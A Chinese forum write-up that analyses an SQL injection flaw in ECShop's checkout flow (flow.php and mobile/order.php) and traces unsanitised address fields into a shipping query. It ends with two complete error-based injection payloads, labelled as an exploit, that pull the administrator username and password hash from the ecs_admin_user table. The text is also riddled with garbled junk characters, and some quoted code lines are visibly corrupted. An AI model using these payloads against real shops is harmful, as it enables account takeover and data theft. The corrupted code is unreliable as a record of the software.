ecshop全版本注入分析

admin

前段时间大概2012年圣诞节左右，在t00ls上看见ecshop全版本注入，当时也下载了最新的程序分析了下,最近考试比较忙，今天刚考完，把我分析的记录下来。

    漏洞关键文件：

    /includes/lib_order.php
! m/ @! D5 Z8 K% d
, {2 K& S8 y' @* r/ l* `    关键函数：
2 N, L! W9 l" {
$ C& {# z, Y; ]

01     function available_shipping_list($region_id_list)

02 {
/ K! [$ S, g: ]; d
03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
0 c8 I# Y2 H7 z' b( X, D. y$ E# Z" S
( q/ X3 N4 ^) P1 n- B' X) \; U) w04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
' V6 a0 d3 x2 \) q$ w6 y
05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .

06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .

07                 $GLOBALS['ecs']->table('area_region') . ' AS r '.
3 b2 c* i  H' i& D  ^, h2 S
5 @& C7 t8 A, g: x- ?7 C+ z08             'WHERE r.region_id ' . db_create_in($region_id_list) .
- h  L) G5 G6 r  |- c; P) ]
09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';

10   
8 N) G3 V+ M1 E
6 `) @3 Z9 ~- D! H& e11     return $GLOBALS['db']->getAll($sql);

7 B1 \5 v6 w# }- q12 }

显然对传入的参数没有任何过滤就带入了查询语句。
  o$ ]6 c1 n; T( Z% B$ K
下面我们追踪这个函数在flow.php中：
第531行：   
2 ]8 `" u0 I4 H$ S% L
) v$ s* l) s9 R5 [, `1 $shipping_list     = available_shipping_list($region);




# A. l  ]' u! y
. ]. s' h1 \% g/ m' l2 P5 ~3 E再对传入变量进行追踪：
4 D3 o1 n5 k) |$ o8 E3 {
第530行：   
  r* C, v) `% f3 }/ _
1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);

9 U% O) r3 s" l# q



第473行：        
& I* W8 _( f" Q7 c
; x4 ^5 _( ~; f' N$ R! x" ^: B! ]1 $consignee = get_consignee($_SESSION['user_id']);
+ O7 ?( T- C  n, B
到了一个关键函数：
. R# d# o7 ~! i* s+ Z
6 k# l4 M; A% x& X/includes/lib_order.php
8 x; R( w- [  m

  z( c( T4 {1 y4 F4 P  v  u# R
0 P4 @* P5 l3 M% }5 F0 m( K

$ \* Y8 v% J/ r1 t01 function get_consignee($user_id)
- y3 o5 N0 f3 D* f+ H
# T  M1 P9 w" M; g- q; ]* W" a) \02 {
2 p0 N: W8 R- C& Q/ J
2 G) X" e: z1 ~3 M' a; k4 E; U# s03     if (isset($_SESSION['flow_consignee']))

04     {

05         /* 如果存在session，则直接返回session中的收货人信息 */

6 a" L, ~# o% C3 e/ A06   

07         return $_SESSION['flow_consignee'];

. Z. r. o: {  b* P08     }
  S# @) ], y# n" b) B
09     else
  \1 P& e/ P) _! ]8 a, _: `+ ^% m
+ Y# c4 ]) p& e& v( _9 ?; a& i10     {
( z0 \: W  R4 e3 `( T% k
11         /* 如果不存在，则取得用户的默认收货人信息 */
. M" d) O' g4 d( H+ @, D5 D5 Y
' [# @$ F2 c/ X. g. x12         $arr = array();
3 ?0 j' Y8 M2 l- [
13   

14         if ($user_id > 0)

' C7 W1 }7 M3 \' N/ ]! X; J$ Q15         {

16             /* 取默认地址 */

17             $sql = "SELECT ua.*".

18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
; w" O0 \7 E% d) B( y
19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
9 l' l8 n& e+ [
20   

, F$ z6 W# k9 K* _6 Y( `21             $arr = $GLOBALS['db']->getRow($sql);

1 m: U" c, z+ E' M& e! K" s22         }

, K; v; Y% Y- K2 M- a23   

24         return $arr;

25     }

26 }
: ^2 y' i2 E' d( w2 V2 }6 \
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢？

1 U" r2 J0 q0 ?$ m2 v# ]

关键点:
. w' X3 _# H& A0 c! P9 S9 P
第400行：    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
. \) ?) j- s+ {+ G5 K* S; m
这里对传入参数反转义存入$_SESSION中。



然后看下：
( T$ N$ i' I" l9 N' L
# I8 v( K. ~! C5 T- ^4 N/ h  d6 {
9 s" O0 b" f5 m+ x# g% J
   
* c" }3 F% a$ I8 ]9 F
/ I3 A" ^# y' k8 F" Y' h01 $consignee = array(

02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),
6 O$ c. b) ?% b" ~. K
1 |% B5 j8 J- a9 N03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),

04         'country'       => empty($_POST['country'])    ? '' _POST['country'],
$ B7 r, o( U5 H5 p6 e: _
05         'province'      => empty($_POST['province'])   ? '' _POST['province'],

9 A2 J0 T! m4 N2 c3 S& Y, H06         'city'          => empty($_POST['city'])       ? '' _POST['city'],

07         'district'      => empty($_POST['district'])   ? '' _POST['district'],
$ @3 p$ p/ H2 |2 C
% v$ x) S  C; e0 e. e, `( L08         'email'         => empty($_POST['email'])      ? '' _POST['email'],
% Q. d4 R3 g; C& A  K
) y% k( F+ G4 C0 X" Y. U09         'address'       => empty($_POST['address'])    ? '' _POST['address'],

10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])),
; H; g' G* q& c' x. e# U" p& }, [/ k
) z' C) q+ R% ~8 c$ d( K" D( Q11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])),

4 Y  X6 _; a# H12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])),
4 D8 b, U7 A9 o
13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],

  U5 L( ^9 j$ G& V* a14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'],
7 a  L" m, v& m" L5 N; c+ L
) H& q$ C2 _/ u15     );

好了注入就这样出现了。

0 q1 p  A# }/ z/ h8 k==================
* }' H0 A8 q6 U" J+ Q/ H
注入测试：

) c/ X. X4 s, g环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)

测试程序：ECShop_V2.7.3_UTF8_release1106
- r; g  |6 ?$ {. `  g( F
9 g3 |1 {& P# |. ]
3 X3 N' J( M; c5 [0 E
6 U2 O6 V8 ~4 Y; t* g4 b4 {1.首先需要点击一个商品加入购物车

* n& i+ V; B& I: c* s$ J) d# R* |2.注册一个会员帐号

! Z6 @3 C$ i0 ]7 u3 K7 [3.post提交数据


6 X+ E7 r4 A2 |8 l
: T. |- J! }. G9 E0 g, C1 http://127.0.0.1/ecshop/flow.php

2   

! b1 e# h0 M" s! s3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
# ?; I6 d# \; C5 U举一反三，我们根据这个漏洞我们可以继续深入挖掘：

, P( M  K4 B4 I5 N* s9 i' F我们搜寻关键函数function available_shipping_list()

+ w/ t& d7 k' g" |) A& d1 r在文件/moblie/order.php中出现有，次文件为手机浏览文件功能基本和flow.php相同，代码流程基本相同

# }. t9 N6 s, q9 O* M. E3 s利用exp:

: ?+ Y5 z, F5 A9 c1.点击一个商品，点击购买商标

2.登录会员帐号
( F/ f3 b7 V  B: E; q% }+ x
3.post提交：
) q5 y* J( t' `4 P9 ]
http://127.0.0.1/ecshop/mobile/order.php

/ a9 C6 e( O( b  S' h# m

; E" w- ?( ?& ccountry=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
4 E/ ^9 s5 V- b+ }; v" b6 U: |, f